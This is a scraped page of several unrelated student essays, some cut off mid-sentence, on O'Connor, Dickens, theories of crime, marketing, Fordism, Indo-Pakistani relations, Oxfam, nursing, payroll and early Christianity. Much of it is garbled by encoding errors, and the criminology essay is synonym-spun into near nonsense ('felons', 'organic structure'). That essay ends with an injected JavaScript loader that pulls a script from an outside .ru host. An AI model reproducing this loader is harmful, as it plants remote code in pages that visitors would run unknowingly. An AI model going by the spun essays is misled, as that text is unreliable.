The Misfit and the “Miss-Fit”

Lewis, Anthony Dr. Sherry Forkum English 1A, Midterm 13 March 2013 The Misfit and the â€Å"Miss-Fit† Flannery O’Connor is an author who has written a score of short stories; however the author is remembered for one story in particular. The story revolved around a family that had problems just like any other normal family. This family’s problem was respecting each other and communication. The Family is taking a vacation to Florida when a longing for a stroll down memory lane hits the grandmother, who wants to see a house she had been to before.As the family approaches its destination, an accident takes place that leaves the family stranded on a dirt road where they meet the Misfit, an escaped convict from prison. The misfit would have helped the family out in getting the car working again, but the grandmother had to say â€Å"You're The Misfit!†¦ I recognized you at once! (O’Connor, Flannery  ¶81)†, getting the whole family massacred because the Misfit could not have any witnesses able to report a location of his whereabouts. Although this story sounds straightforward, there are some ironic twists discovering who the real Misfit of this story is for example.In O’Connor’s short story, A Good Man is Hard to Find, O’Connor writes to depict the true â€Å"miss-fit† in the story to be the grandmother. Red Sammy and his wife were symbolic of the best of mankind. The couple was the epitome of what normal citizens would call good-natured people. Red Sammy gave assistance to a couple of gentlemen that needed gas. When the guys told Sammy a bit about themselves, Sammy gave them a helping hand, and generously offered to give them gas on credit. The gentlemen stiffed Sammy the money they owed him and gave indecency in return. The grand-mother, Red Sammy, and his wife discuss the evil nature of the times and decide that, although they themselves may be good people, ‘a good man is hard to find. †™(â€Å"O'Connor's Short Stories: Summary and Analysis: â€Å"A Good Man Is Hard to Find†Ã¢â‚¬   ¶12)† On top of being a very generous man, Sammy also symbolized a sort of warning for the family. â€Å"I felt ‘Red Sammy' represented a type of prophet in the story, speaking to the Grandmother directly about how trust was becoming dissolute †¦. He was the family's ‘red flag (Lucy Tonic  ¶ 12)†.All the talk of dishonest people is extremely ironic since the family gets into an accident and find out that help was found in none other than the Misfit and a couple of other convicts. In A Good Man is Hard to find, Bailey and his wife were not the two most powerful people in this story, they are very easy to manipulate and they let people walk all over them. They did not even have a large role to play in the story. Their characters were put in the story to build suspense during the conversation between the Misfit and the grandmother.This build up l et the readers feel like the grandmother may have a chance to be spared. â€Å"It's not far from here, I know,† the grandmother said. â€Å"It wouldn't take over twenty minutes. † Bailey was looking straight ahead. His jaw was as rigid as a horseshoe. â€Å"No,† he said (O’Connor, Flannery  ¶48-49). This man is letting his kids behave like little brats allowing them to scream and yell for far too long before he whips the car to the side of the road to yell at the kids to shut up. Although the parents may have been incompetent in raising their children they, like their infant child, should not have had to suffer their fate.The children in the story, although obnoxious and completely disrespectful to all the characters, also play a role that is inherent behavior to most kids. Kids have mostly acted with bad manners and disrespect in the past because the lesson has not been learned that respect is essential to living in society. It is the responsibility of the parents to teach the meaning of respect and general manners to children. June Star, the daughter of Bailey and the mother, is a downright disrespectful little brat that needs to be taught the most about manners and appropriate comments to strangers.The girl has no boundaries in place because it is obvious the parents do not have a discipline routine, and the parents just get rolled over by the children. â€Å"Though she's cute, she's just plain nasty to everybody, as learned pretty early on in the story from the way she treats her grandmother (â€Å"June Star. †  ¶1)†. John Wesley, the son of Bailey and the mother, is similar to June Star however not as ruthless a character. This is because between the Grandmother and June there is little time to be on the same playing field in respect to cold-heartedness.The baby is by far the most innocent character in the story. This is because the baby is still a newborn that does not have the brain development to act based on its current knowledge. â€Å"The baby's sleeping when it's shot†¦it's the easiest member of the family for whom we feel sorry (â€Å"The Baby†  ¶1)†. This is because the baby never even had a chance and died all because the Grandmother made an idiotic comment to a convicted felon ensuring the family’s fate. The Misfit and his posse are a small group of outlaws who broke out of jail and are attempting to remain hidden from the authorities.Albeit an individual who is looked down upon by society for committing heinous crimes, throughout the story the Misfit plays the role of a convict with a sense of acceptance towards being a bad man. â€Å"If He did what He said, then it's nothing for you to do but thow away everything and follow Him, and if He didn't, then it's nothing for you to do but enjoy the few minutes you got left the best way you can by killing somebody or burning down his house or doing some other meanness to him. No pleasure but meanness. (à ¢â‚¬Å"A Good Man is Hard to Find†  ¶136)†This illustrates the Misfit’s persona and shows that he does not care about taking another’s life in order to give his life a purpose. Due to the behavior and the overall actions, the Misfit fit the role of the convict character therefore could not be considered the true misfit. Throughout the conversation with the grandmother, the Misfit seems to be a polite gentleman regardless of his misdeeds. â€Å"†I'm sorry I don't have on a shirt before you ladies,† he said, hunching his shoulders slightly (O’Connor, Flannery,  ¶100)†.This shows that he is not a terrible person and he probably just got caught in the wrong place at the wrong time, but at this point he has accepted his fate as a bad man on the run. The Grandmother, not ever mentioned by name in the story, is the absolute shadiest character of all. The Grandmother has this holier than thou attitude that could not be more wrong. Not o nly is the she hypocritical but also a master manipulator as well. The Grandmother tries to get her way by sing news clippings of the Misfit’s escape as a reason that the family should take a trip to Tennessee instead of Florida. â€Å"The grandmother says that ‘[she] wouldn’t take [her] children in any direction with a criminal like [the Misfit] aloose in it. [She] couldn’t answer to her conscious if [she] did. ’ Ironically, this is exactly what she does when she tempts her family into visiting the old house (Krista  ¶36). † Although the Grandmother’s initial idea of taking the trip in Tennessee would have been better, the intentions of going to Tennessee, however, were strictly selfish.She manipulated the kids into thinking that there was a house with secret panels that held untold amounts of hidden family treasure so that Bailey would turn the car around to go and visit the old house. This action was the final straw that led the f amily down a road that would lead them directly into the path of the Misfit. As the family drove down the dirt road that led to the house with the â€Å"treasure† the senile old lady suddenly came to the realization that the house the family was driving to, was not in Georgia, but in Tennessee instead. The thought was so embarrassing that she turned red in the face and her eyes dilated and her feet jumped up, upsetting her valise in the corner. The instant the valise moved, the newspaper top she had over the basket under it rose with a snarl and Pitty Sing, the cat, sprang onto Bailey's shoulder (O’Connor, Flannery  ¶63)†. The Grandmother freaked out causing Bailey to drive off the road and flip the car around. Throughout the story all of the characters commit actions or make comments that make everybody in the story sound insane. The Misfit and his gang all commit atrocious crimes and have no remorse about committing those crimes.The children both act like spa wns of Satan, throwing temper tantrums to get what they want, being disrespectful to others and to the family as well. Red Sammy and his wife, is a couple that is very rapidly losing hope for all people in the world thinking that there is no decency left in mankind. The Grandmother, however, takes the cake so to speak on being in denial about who she is as a person. She thinks she is above the rest of the characters in overall behavior as far as common courtesy. This makes her the worst character in the story because she is an evil character that hides behind this facade of a good person.Works Cited â€Å"The Baby. † Shmoop. Shmoop University, Inc, 2013. Web. 13 Mar. 2013. . â€Å"June Star. † Shmoop. Shmoop University, 2013. Web. 13 Mar. 2013. . Krista, Emily, Rach, Nick Light, and James Leonard. â€Å"A Good Man Is Hard to Find. † Analysis of Flannery O'Connor's Short Story. Debra Bell, 8 Oct. 2009. Web. 13 Mar. 2013. O'Connor, Flannery. â€Å"A Good Man Is H ard to Find. † A Good Man Is Hard to Find. N. p. , n. d. Web. 13 Mar. 2013. lt;http://pegasus. cc. ucf. edu/~surette/goodman. html;. â€Å"O'Connor's Short Stories: Summary and Analysis: â€Å"A Good Man Is Hard to Find†Ã¢â‚¬  Cliffs Notes. Cliffsnotes. com, n. d. Web. 14 Mar. 2013. ;http://www. cliffsnotes. com/study_guide/literature/oconnor-short-stories/summary-analysis/a-good-man-is-hard-to-find. html;. Tonic, Lucy. â€Å"Analysis of Flannery O' Connor's â€Å"A Good Man Is Hard to Find†Ã¢â‚¬  Yahoo! Voices. Yahoo! Contributor Network, 17 Aug. 2012. Web. 14 Mar. 2013. ;http://voices. yahoo. com/analysis-flannery-o-connors-good-man-hard-11673144. html;.

Language and atmosphere Essay

Analyse the importance of chapter one of Great expectations with regard to character, plot, theme, language and atmosphere  In modern society, when our children feel boredom creeping over them, they can turn to the technological wonders of our time, such as computers and televisions, and other gadgets and gizmos that have become commonplace in everyday homes. However, in 1861, the time of the great Charles Dickens, there were no such contraptions, and so children and adults alike turned to the entertainment that books had to offer, and would lose themselves in worlds of imagination, fantasy and the impossible. Dickens’s Great Expectations is an excellent example of 19th century literature and was even published by serialization in Dickens’s own magazine; ‘All the year round’. It is a bildungsroman tale that tells the story of a young, poor boy, who is known throughout the novel as ‘Pip’, that has fantastic, and eventually realised dreams of b ecoming a respected gentleman. In chapter one, we are introduced to the rather ‘larger than life’ character Magwitch, the stereotypical criminal who the Victorians all love to hate. Our first impression of Magwitch is, just as Charles Dickens intended, of a frightening and dangerous man whose â€Å"terrible voice† terrifies Pip and immediately turns us, the readers against him. Dickens does this to reinforce the fact that he is, after all, a criminal, and to highlight the clichd views of the general public. This could even be viewed as bitter sarcasm, as, although Dickens is bowing to the public mood, he makes it clear for those who look more closely that he does not share the same opinion. On the other hand, Magwitch is also shown in a comical light, â€Å"I wish I was a frog. Or an eel!† and we even see a kinder and more vulnerable side, â€Å"a man who had been soaked in water, and smothered in mud, and lamed by stones†¦who limped and shivered.† The author shows us these different qualities so that we can obtain a greater understanding of the character and view him in a fairer, more sympathetic light. In addition to this, Dickens gives us subtle hints throughout the chapter that Magwitch, like all people shows weakness; â€Å"he hugged his shuddering body in both arms† and, through Pip’s narration; â€Å"A man whose legs were numbed and stiff†, he tries to make us feel that perhaps even criminals deserve a second chance to be respected pillars of society. It is very important that Magwitch is introduced in the first chapter, rather than a later chapter, as this establishes tension and atmosphere, and creates a compelling hook that will ensure that the following chapters continue to be purchased. And of course, adding a typical â€Å"bad guy† to the equation gives all readers, particularly of the Victorian era, a desperate need to see him beaten! Possibly the most important role that Magwitch plays in Great Expectations is that of the ‘instrument of justice’. When we first meet Magwitch, he is intimidating Pip in the churchyard, and shouts at him that he will only stop his dangerous accomplice from harming him, if he brings him food. When Pip fulfils his end of the bargain, Magwitch returns the favour, only years later, becoming Pips benefactor and enabling him to start a better, wealthier life. Magwitch, however, is not shown justice, as after months of supporting Pip, he is captured, thrown in a jail cell, and later dies of exhaustion. Once again, this underlines the harsh views of the Victorians and the severe attitude towards criminals in the 19th century. We are also introduced to Pip in the opening chapter; the main character in Great Expectations, and the novel’s narrator. The story opens with him remembering himself as a boy, standing alone and crying in a churchyard near the marshes; â€Å"the small bundle of shivers growing afraid of it all and beginning to cry, was Pip†. Dickens depicts him as a harmless, caring boy, so as to draw sympathy from the reader, even though at that point in the story, Pip is content with his common life. When Magwitch is introduced, the narrator Pip presents an interesting relationship between himself and the bullying man. At first, the relationship appears to be based solely on power and fear. The man yells at Pip to get what he wants, a file and some food, and Pip responds, only because he fears for his life. And yet, after they part, the young Pip keeps looking back at the man as he walks away. The image of Magwitch holding his arms around him is remarkably familiar to the initial image of young Pip, holding himself in the cold, alone in the churchyard with the stones of his dead parents. For a moment, the relationship seems to warm. They share a common loneliness, the orphan and the escaped convict. Even while he is afraid, Pip instinctively displays a sympathetic reaction. This initial meeting, between a small boy and a convict, will develop into the central relationship in the book, which will cause Pip’s great expectations of himself to rise and fall. The author’s decision to assume the character of Pip, and therefore write using first person narrative, proves to be very significant in the development of the story.

Basing Theories Of Crime On The Individual

Features Of Offenders Is Like Blaming Sick People For Their Diseases Essay, Research PaperMany theories have been developed which address the issue of whether people are born felons in footings of their physical, familial, or psychological profile, Or whether as sociologists would reason felons are made by the environment and fortunes which they encounter during their life.There have been theories put frontward to propose that a individuals physical features can find how he/she behaves. The earliest theories were in the 18th century, Lavater survey on countenance this suggests that you can state individuals character by their facial features. Some of these happening still exist in modern twenty-four hours biass / old married womans tales i.e. he s got devious eyes. Or his eyes are excessively close togetherSubsequently the survey of phrenology besides looked at the development of people s caputs. Gall, did an extended survey of the encephalon and how the encephalon worked. He develop ed the theory that the balls on the skull were where in some people certain countries of the encephalon were disproportional and this caused the balls. His survey identified 26 maps of the encephalon and those relevant to criminology were destructiveness, closeness, acquisitiveness and militance.Lombroso an Italian physician, while analyzing the skull of a felon had the idea that the nature of criminology ballad in reversion ( an evolutionary atavist. )He felt the physical features such as tremendous jaw, high zygomatic bones, and stick outing ears supported his theory as these features were found in felons, barbarians and apes. Lombroso subsequently developed this theory further and produced a list of physical features found in felons.The list included physical characteristics such as ; dissymmetry of the face, abnormality in the eyes, ears. Nose, lips, dentitions or mentum, supernumary mammillas, fingers and toes, and inordinate arm length.Lombroso so tested his theory on a figure of convicted felons and found that 21 % had one anomalousness and 43 % had five or more this he suggested showed that felons were born felons. He did other trial with soldiers and felons and once more the felons had more anomalousnesss.Lombroso published his theories in his book The Criminal Man. He subsequently developed his theories further by including the insane felon, the epileptic felon and the occasional felon who could be influenced by environmental factors.These early theories were non decently evaluated or objectively compared to wider groups in society but these theories formed the footing for future theories in criminology.Others were critical of Lombroso and one of these was an English physician Charles Goring. He went on to make his ain research as a manner of disputing Lombroso s theories. Goring ain research found that felons were shorter and lighter than others were and he hence suggested they were of lower intelligence. There was unfavorable judgment of Goring wor k as in his avidity to confute Lombroso he may hold overlooked fact, which could hold proved Lombroso s theory.Again this was a wider survey and looked at more factors but it failed to be nonsubjective as it set out to confute a theory instead than measure and look for alternate accounts.Hooton so tested Goring s theory and researched a big figure of captives with a much smaller figure of non-criminals. He selected people for the research based on their physical features. He found that some characteristic were found more normally in felons than in others these were ; low brows, inclining shoulders, thin lips and tattoos.He besides went on to propose that certain physical types committed different types of offenses. Those smaller in character he said would steal while those with stockier physique would perpetrate more violent offenses. Hooton besides believed that felons with unusual physical features were besides likely to be mentally inferior.It would be of import to compare a wide r non-offending group with similar features. By merely comparing one group or a limited assorted group you are more likely to corroborate your initial ideas. The impact of societies response to these physical differences would besides necessitate to be considered in footings of its impact on the felon.In 1921 Kretschmer, a Psychiatrist looked a organic structure types and mental unwellness he identified three organic structure types and suggested that different types of condemnable behavior was associated with the organic structure shapes. Sheldon developed the theory of organic structure types and linked organic structure forms to personalities. These organic structure types are still used to depict organic structure forms and personalities today. These are:1 ) Endomorph this describes people whose organic structures are soft unit of ammunition figures that are relaxed and extravert personalities.2 ) Mesomorphs have more athletic physiques and are more aggressive in their personali ty.3 ) Ectomorph are physically thin and frail and are more introspective in their personality.Sheldon carried out research affecting two 100 delinquents and two 100 pupils who had no known record of delinquency. Through this work he found that there were more mesomorphs in the delinquent group than in the pupil group.The Gluecks did a further survey taking into history more factors including societal factors and the kid rise uping techniques and the type of subject, which the groups received as kids. From this survey the Gluecks they discovered that 60 % of the delinquents were mesomorph types where merely 31 % of the non-delinquent group were mesomorphs.However the Gluecks took their sample of delinquents from establishments and there is no history taken of institutionalisation on piquing behavior. Or how body types can impact parent s reactions/ adhering to their kids.R / gt ; Cortezs and Gatti besides conducted research into organic structure types but they used a broad choice of delinquent and non-delinquents and they besides found a higher figure of mesomorphs in the delinquent groups.Physical type theory may be accurate in placing groups of organic structure forms and the links with types of personalities but this can non account for condemnable activity entirely or all people with this organic structure type would act in the same manner so at that place must other things which affect the felons behaviour.Environmental factors can besides impact organic structure types people who are hapless may non be able to afford a balanced diet and this can impact growing. Lack of fondness can besides do kids to be little. Small kids may besides be the mark of strong-arming which can subsequently impact their assurance or do them to contend back.Taking organic structure types entirely is non an nonsubjective manner of measuring condemnable behavior but combined wi th other theories it may give a greater cognition about wrongdoers.Developments in recognizing chromosome abnormalcies have besides allowed other theories to develop. Persons sex is decide by whether they have X-chromosomes or Y-chromosomes Females have xx chromosomes and males have xy chromosomes. If the cell divide abnormally a individual may hold three chromosomes. Some people with xxy chromosomes were found to be intellectually subnormal. Work force with excess Y-chromosomes were besides found to be over represented in the prison population and they were thought to be more aggressive.Again this theory is limited to analyzing a group of males already in establishments and non compared to people in the community with similar chromosome abnormalcy. If an excess Y chromosome leads to more aggressive behavior does it besides affect work forces in other ways physical expressions and could people be reacting to this. Could this group of work forces be being penalised more often by the tribunals that other groups.Whether felons are born or made continues to be discussed and research into genetic sciences has helped this treatment. A survey by Lange looked art 30 work forces, 13 were indistinguishable twins and 17 were fraternal twins. All 30 work forces had been in prison when Lange looked at the work forces brothers he found 77 % of the indistinguishable brother had besides been in prison but merely 12 % of the fraternal brother had been in prison. He besides looked at a group of 200 braces of brothers ( non twins ) and found that 8 % of work forces whose brothers had been in prison another brother had besides been in prison. Lange felt this proved that piquing behavior was familial. Newman did a similar survey and found a higher per centum of similar condemnable offending in indistinguishable and fraternal twins.It is hard to turn out familial factors as twins will see the same environment during their up delivery. Even more so that other brothers where fortunes within the place could hold changed between one kid being born and the following. Society besides treats twins otherwise and expects them to be the same and have the same likes and disfavors this could besides impact how they see other people.Other surveies have looked a condemnable behavior in people who were adopted Crowe studied 52 people who had been adopted where it was known that the natural female parent had strong beliefs. He besides studied 52 other people who where the same sex, race and age at the clip of acceptance. Eight of the 52 from condemnable female parents had been arrested compared to merely two in the other group.Surveies of adoptees in other states have produced similar findings and the piquing rate is even higher if the natural parent have condemnable records and the adoptive male parent has a condemnable record.This could demo that criminalism is familial but other factors would hold to be considered. At what age was the kid adopted? What had the kid s envir onment and attention been like prior to the acceptance. Had they had contact with their natural parents or were they placed for acceptance at birth? Where they adopted by relations or people with no contact with their natural parents?All of these things can impact the findings. If the kid had lived with the natural parents they may hold witnessed piquing behavior. The kid may hold been placed for acceptance because the kid could hold been neglected or received hapless attention and non loved. This could so impact the kid in ulterior life. If the kid is adopted by a comparative that relation could besides be piquing or state the kid could happen out about hoe the household experience about his natural parents.Adopted kids can experience a sense of separation from their natural parent and this can impact their behavior. Adoptive parents may fear the kid will hold its parent s condemnable inclinations and someway convey this to the kid.Other influences on condemnable theory have been t hey development of psychotherapeutics from Freud to clinical psychologists in the 1960 s who placed a batch of importance on the affects of a kid injury and how this affected them when they were grownups. Social work and work with people who are mentally sick have besides provided other theories, which have influenced developments in criminology.Decision.The argument about whether felons are born or made will go on. The history of criminology will assist to supply the footing for farther research. Future developments in genetic sciences will give farther findings to enable this work to go on. But people are affected by the universe around them and their experience impact how they respond to other people. Although people have physical, familial or psychological features non all go on to perpetrate offenses. We still need to see what are the factors, which make some people respond otherwise. We know that poorness, rearing manner and community influences can all impact individuals beha viour, so it would be hard to impute any one theory as a cause for condemnable behavior. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Report based on a case study in Marketing B2B Essay

Report based on a case study in Marketing B2B - Essay Example According to Anderson et al (2012) Strategic thinking is vital but however many companies think that the task of strategy is the responsibility of the executive level. This is not the case. It is only the product managers who are capable of tabling strategies and are the champions of outside-in thinking. They possess an outstanding knowledge about the market and the customer needs along with product uses and applications. Ellis (2010) states that the information on product and market that is compiled by product managers should be followed to help shape and lead strategic thinking in the corporate. Establishing good marketing channels improves the speed of the market expansion of the product and also helps enterprise to attain strategic goals of marketing and at the same time improve enterprise competitiveness. Webster (2007) states that there are fundamentally 4 types of marketing channels Hilti Corporation is a company based in Liechtenstein that produces, manufactures, develops and markets construction products, building maintenance as well as mining industries to professional end users. It focuses much on anchoring systems, fire stops, hammer drills, installation services heavy drill machines, power saws, and electric drills among others. It provides global leading-edge technology to global constructional firms and professionals. Hilti products, systems, channels and services offer creative and innovative solutions with exceptional added value to customers in building and construction maintenance industries. The Hilti product, market and channel management strategies are derived from the Hilti business model as well as the corporate goal and intention of attaining sustainable and profitable growth based on the Hilti corporate strategy, customer, employee and society requirements. According to Webster (2007), within the scope of these strategies, product, market and supply management provides decisive contributions in the available areas of product

Old advertising and marketing vs. effective new media campaigns Essay

Old advertising and marketing vs. effective new media campaigns - Essay Example Both Fordism and post-Fordism have to do with the organisation of businesses, but they are normally extended to include political and social spheres (Tuten, 2008). Fordism was the accepted process and practice in the industrialisation of nations in the past. It was focused on delivering effectiveness in the processes of mass production. Post-Fordism, on the other hand, is applied in modern definitions of industrial progress as the previous grew less efficient in handling the new technical innovations (Ioannides and Debbage, 1997). The fundamental values of Fordism were the establishment of big processing production facilities that were characterised by inflexibility in a procedure that was supervised by a hierarchical and bureaucratic executive system. A partially-skilled workforce was engaged to function in repetitive as well as highly specialised operations. The dominant political and societal constituent of Fordism was that it was centred on shielding the national market (Boynton and Milazzo, 1996). It aimed to preserve jobs within borders with the aim of selling principally to the populace of the local market. Fordism, which got its name from Henry Ford, proposed the design of central control, homogeny and the capacity to cultivate and meet the requirements necessary for the mass consumption of products and services market. Post-Fordism, on the other hand, has to do with the era of technical advancements which have altered the entire procedure of production. The extensive, bureaucratic business establishment that characterized Fordism is no longer relevant. The post-Fordist model is evident in the reorganisation of the administrative structures of organizations. In such corporate structures, there are fewer employees, as well as the specialization of all operations. Post-Fordism is interested in consumer preferences, and market segmentation (Kompare, 2006). The basic doctrines of post-Fordism would be making use of more flexibility, and ensuring that the la bour force is only constituted of specialists, with blue collar skills being subcontracted to other companies market. There is a greater stress on individual consumer tastes and distinctiveness instead of the perception of the consumer force as a joint homogenised unit. Another critical disparity between post-Fordism and Fordism is that the former sees the economy in international terms, having given up its domestic interests that were characterised by the Fordist glory days after World War II (Ioannides and Debbage, 1997). Both post-Fordism and Fordism are widely used in many industries in developing as well as developed nations in the world (Boxall and Purcell, 2008). The technology division has clearly espoused the principles of post-Fordism, but the Fordist principles are still used by many corporations. The bigger the business and the more conventional its manufactured goods, the more it is inclined towards observing the Fordist values of organisation. Moreover, the post-Fordis t method of conducting business is quickly gathering momentum, and is the obvious practice of the future (Boxall and Purcell, 2008). Post-Fordism has complicated the conventional Marxist connection between the employee’s labour time and the extent of her or his misuse (Hutchison, 2008). As work becomes more dematerialised and the distribution of labour in business production declines, investment not only takes precedence in the working hours in which commodities are produced, it uses up all of the employee’s time, and thoughts. Goods are formed not to be used up directly, but as a type of new communication, language, and knowledge (Grainge, 2008). The purpose of consumption these days is not just the creation of products, but the duplication of new variations as well as conditions for the manufacturing process (Grainge, 2008). The operations of the immaterial businesses become the creation of subjectivities that are creative as well as cultural categories, and not fina ncial ones. Consumption

Sec in Southwestt Asia Essay Example | Topics and Well Written Essays - 1500 words

Sec in Southwestt Asia - Essay Example This requires an urgent ceasefire between the two countries to restore good relations. As earlier stated, the conflict between India and Pakistan has impacted on the entire South Asian region. The United States is one of the many countries that have been concerned with the war making it a priority agenda (Lamb 1966, p.12). For instance, during the handing over of the presidency from Clinton to George Walker Bush, the former advised Bush that the persistent antagonism between India and Pakistan needed to prioritized because of the dangers posed by the nuclear capabilities of the two countries (Misra 2010, p.32). The objective of this paper is to explore the reasons for the continued hostility between India and Pakistan relations. It will also discuss steps that can be taken to develop and sustain cordial relations between the two countries. Indo-Pak conflict has been a long-standing political conflict that began in 1947 immediately after independence (Brines 1968, p.35). The war has s ince persisted with the two countries being suspicious of each other. Report indicates that the two countries have fought three deadly wars since independent because of the continued friction between the two countries (Raja 2013). ... The war ended in 1949 following a ceasefire leaving the state of Kashmir split into two with India being handed two-thirds of the eastern side of Kashmir (Sareen 2012). Pakistan, on the other hand, gained control of the remaining third of the western Kashmir. However, due to continued hostility over Kashmir, the two countries again engaged each other in war in 1965, with the war ending in a military stalemate with the division of Kashmir remaining unchanged. Ever since, there has been a disagreement over which county owns Kashmir, with both countries claiming rightful ownership. According to Pakistan, Kashmir is the â€Å"K† in Pakistan- a Muslim dominated territory that according to the two-nation theory should rightfully belong to Islam (Sareen 2012). In this regard, Pakistan claims that, as a Muslim majority in Kashmir, the territory should have rightfully formed part of Pakistan at the time of partition in 1947. Therefore, merging Kashmir with Pakistan, according to Pakist anis is termed as â€Å"unfinished business of Partition,† which they intend to ensure, becomes fulfilled (Karim 1996, p.22). Indians, on the other hand, opposes this claim arguing that their possession of Kashmir province is a clear demonstration that Muslim dominated state can exist in India. This according to Indians is a good example of how India embraces people from different faiths. As a result, Indians believe that relinquishing Kashmir territory to Pakistan will threaten Indian unity. Some Indians also believe that additional partitioning of Kashmir according to religion would not do any good, but reopen the status of Muslim as Indian citizens and remind people of the wounds caused by the partition. This struggle has been persistent with both countries claiming

Report Essay Example | Topics and Well Written Essays - 1750 words - 6

Report - Essay Example Recently, Oxfam International is operating its supportive functions approximately in over 90 countries around the world (Oxfam International, 2014). In this report, the objective is to identify the contribution of the Oxfam International in relation to the issues of climate change in the society. At the same time, the report intends to identify the values and interests of Oxfam International. Moreover, the report will also critically analyze the advocacy viewpoint of the Oxfam International in relation to various scenarios. Finally, the report will also highlight a supportive view regarding the contribution of the organization. According to the viewpoint Pettengell (2010), during the early 21st century, the issue regarding climate change had become one of the most critical aspects, which has influenced several difficulties and challenges in the society such as poverty and health care related issues (Pettengell, 2010). In this regard, rationally it can be asserted that climate change has initiated larger threats across the entire world. Moreover, it has affected the capacity and response of the poor in the society, which has influenced the poor citizens in an adverse manner. In this context, it can be claimed that climate change has affected the subsistence of crops due to vulnerable outer temperature ranges around the world. At the same time, erratic rainfall has also changed the seasonal pattern and monsoon of the entire globe, which has negatively affected the agricultural cycles all around the world. As an effect, farmers are struggling to produce expected amount of crop. On the other hand, due to frequ ent climate changes the level of sea water is rising around the world, which is also indirectly affecting the productivity of crops, due to presence of high proportion salt in the water (Pettengell, 2010). These are the identified adverse effects that climate changes have on the environment and the society at large. According to the report published

Role of a nurse Assignment Example | Topics and Well Written Essays - 1500 words

Role of a nurse - Assignment Example Nursing is the promotion, protection and optimisation of health, alleviation of suffering and prevention of injury and illness through treatment and diagnosis (Basford and Slevin, 2003:4). It also entails advocacy in the care of populations, communities, families and people. There are numerous roles of a nurse depending on the setting. Nurses perform physical examinations on patients and study their medical histories. They provide health promotion, education and counselling in the various sectors that they work in. They offer a number of personalised interventions including wound care and administering of medications. They interpret information about their patients, make important decisions and take action. They supervise care that is given by other health care practitioners (Basford and Slevin, 2003:35). They work in collaboration with other healthcare practitioners to promote health for their patients. Finally, they conduct research on ways to improve patient outcomes. Working in teams in the nursing sector is beneficial to both patients and staff. In addition to helping patients, teamwork promotes employee satisfaction, cooperation and retention rates. When taking into account the team nursing framework, the following benefits can be considered. To start with, team members help one another readily, if a nurse has been assigned two patients and the other is free, they will definitely step in and help out. Secondly, this model leads to an increase in employee satisfaction (Denny and Earle, 2005:45). Previous case studies have shown that the scores of employee satisfaction increased with the adoption of the model. Finally, mentoring opportunities increase as novices are paired up with novices who guide them in performing their duties. This has been observed to increase the rates of employees’ retention. On the other hand, supervision has

Tax Year End Procedure Essay Example | Topics and Well Written Essays - 2000 words

Tax Year End Procedure - Essay Example Inland Revenue and HM Revenue and Customs legislation. The company payroll is one of the largest expenses a company may have and as such it is important that accurate and complete records should be kept on a daily basis to ensure that the year-end procedures can be carried out with the minimum of stress or inconvenience to payroll staff. This report addresses five different areas where payroll procedures need to be explained so that during the end of year cut-off and rollover procedures there is a minimum of adjustment that might need to be made to existing daily records. The five areas contained in this report include the reconciliation process, the clear-down process, submission requirements and deadlines, a general checklist and a review of procedures. The most helpful source of information on day-to-day payroll procedures is an Employer's Help Book (E13, 2005) that is published by the Inland Revenue Department. This booklet explains how to work out and record PAYE and NIC's (form P11); The procedures necessary when a new person is employed; what procedures should take place when an employee leaves the company; the correct procedure for changing an employee's tax code within a tax year as well as information on other different changes that might occur within a tax year such as changes in employees circumstances (reaching the age of 16, pension schemes, what to do if an employee dies and changes to insurance schemes) as well as comprehensive information on how to apply the Working Tax Credit to wages and how a company can take out Student Loan Deductions from an employee's weekly wage entitlement. One of the most important payroll procedures is the allocation of a new employees tax code, as this code will determine how much tax this person should be paying in accordance with his or her personal circumstances. There are a variety of codes that can be used which are generally noted with a letter (L, P, T, or Y) and one or more numbers. The Inland Revenue Department has more detailed information on how these codes should be allocated and they advise that a tax code for an employee should never be changed within a financial year without approval from the department. There are a number of different wage figures that have to be accumulated throughout any financial year. These include individual PAYE and gross earning figures for each employee, plus the amount of money that has been added to or deducted from individual pay entitlements for insurance and pension schemes, clothing allowances, travel allowances, working tax credit and other benefits and allowances. It is the company's responsibility to ensure that the calculations of weekly pay amounts and the recording of accumulative pay figures throughout the year are accurate especially in terms of PAYE as it is this amount that the company will need to pay to the Inland Revenue department at the end of the financial year. Most payrolls are now completed using a payroll software program. These programs have inbuilt processes in them that ensure that the necessary total figures are accumulated on a monthly and yearly basis. Supervisory checks at this stage of payroll processing should include checking weekly wage totals on a weekly basis before payments are made to employees, reconciling the weekly pay figure totals with those

Religious Expression's relation to ancient cultures through Greek and Essay

Religious Expression's relation to ancient cultures through Greek and Roman times - Essay Example II. Roman Temple Cultus (150 words) The temple cultus of Rome was what drove Roman society. Romans were expected to make sacrifices to the temple court on a regular basis, and no one was exempt—from the very wealthy to the very poor. However, early Christianity started to rise up in popularity. The Christians refused to pay sacrifices to the temple cultus, claiming that they only served one god alone. According to Hauer and Young (1998), â€Å"On one point devout Christians were obdurate in their resistance to Roman policy. This was teh cult of the divine emperor†¦The cult of the emperor was more popular in the provinces than in Rome itself [and the divine kingship in the eastern Mediterranean† (pp. 338). This was the beginning of the end of divine rule in Rome, as Christianity was spreading like wildfire. It is certain that the rituals that the Christians developed were based on traditions already in place. III. Pre-Christian Tradition in Rome (300 words) Early Ch ristianity was basically based on Judaism as well as Roman religious tradition. Everything from the Lord’s Supper (which was basically consisting of bread and wine)—to providing sacrifices for Jehovah or Yahweh—were rituals based on both Roman and Jewish tradition. While the Eucharist was based on a Jewish tradition, Roman love-feasts were also the basis for the Lord’s Supper. People got together in secret burial societies and had feasts, committing each other to themselves in order to ensure that after their deaths they would be properly buried. These burial societies were the precursors of early Christian tradition. It was only with the appearance of the early church fathers that these Jewish and Roman customs were totally extracted from Christian tradition, and new religious meanings were associated with the Lord’s Supper. In lieu of the Jewish tradition of celebrating in the mikveh ceremonies, the practice was renamed baptism and was required o f all Christian converts. There were so many traditions that were borrowed from Judeo-Roman religious tradition that many Christians are not even aware of these traditions. It is necessary for Christians to realize that Christianity indeed was a sprout forth from Judaism, and, indirectly, a branch of Judaism. The only difference was that Christianity declared Jesus not only their prophet, but the son of God, Yahweh—also known as Jehovah in some circles, depending upon one whether one used the Hebrew or the Greek translation. Even though the language of Jesus was Aramaic, many of Jesus’s followers were indeed Jewish before realizing that following Jesus meant converting into a Christian—which was a new way of life and unfettered by all the rules of Pharisaic 